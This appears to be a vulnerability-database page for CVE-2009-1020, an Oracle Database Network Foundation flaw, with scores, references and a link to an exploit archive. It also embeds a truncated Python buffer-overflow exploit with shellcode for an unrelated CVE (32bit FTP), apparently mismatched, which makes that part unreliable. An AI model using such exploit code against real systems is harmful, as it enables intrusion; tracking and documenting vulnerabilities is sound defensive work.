CVE-2009-1020
published 2009-07-14CVE-2009-1020: Unspecified vulnerability in the Network Foundation component in Oracle Database 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, and 11.1.0.7 allows remote…
PriorityP353critical9CVSS 2.0
AVNACLAuSCCICAC
EXPLOIT
EPSS
10.32%
95.2th percentile
Unspecified vulnerability in the Network Foundation component in Oracle Database 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, and 11.1.0.7 allows remote authenticated users to affect confidentiality, integrity, and availability via unknown vectors.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | database_server | — | — |
| oracle | database_server | — | — |
| oracle | database_server | — | — |
| oracle | database_server | — | — |
| oracle | database_server | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Oracle 9i/10g Database - Network Foundation Remote Overflow
exploitdb·2009-06-14
CVE-2009-1020 Oracle 9i/10g Database - Network Foundation Remote Overflow
Oracle 9i/10g Database - Network Foundation Remote Overflow
---
source: https://www.securityfocus.com/bid/35684/info
Oracle Database is prone to a remote vulnerability in Network Foundation.
The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability.
The following supported versions are affected:
9.2.0.8
9.2.0.8DV
10.1.0.5
10.2.0.4
11.1.0.7
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33084.zip
Exploit-DB
32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow
exploitdb·2009-05-05
CVE-2009-1611 32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow
32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow
---
#!/usr/bin/python
# _ _ _ __ _ _ _
#| || | (_) ___ / \ | |__ | | |
#| __ | | | (_-< | () | | / / |_ _|
#|_||_| |_| /__/ \__/ |_\_\ |_|
#
#[*] Bug : 32bit FTP (09.04.24) (CWD response) Remote Buffer Overflow Exploit
#[*] Refer : http://www.milw0rm.com/exploits/8611
#[*] Tested on : Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings : All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p
from socket import *
payload = "\x41"*1020
payload += "\x67\x86\x86\x7C" # jmp esp kernel32.dll
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
payload += (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54
No writeups or analysis indexed.
http://osvdb.org/55897http://secunia.com/advisories/35776http://www.oracle.com/technetwork/topics/security/cpujul2009-091332.htmlhttp://www.securityfocus.com/bid/35684http://www.securitytracker.com/id?1022560http://www.vupen.com/english/advisories/2009/1900https://exchange.xforce.ibmcloud.com/vulnerabilities/51749http://osvdb.org/55897http://secunia.com/advisories/35776http://www.oracle.com/technetwork/topics/security/cpujul2009-091332.htmlhttp://www.securityfocus.com/bid/35684http://www.securitytracker.com/id?1022560http://www.vupen.com/english/advisories/2009/1900https://exchange.xforce.ibmcloud.com/vulnerabilities/51749
2009-07-14
Published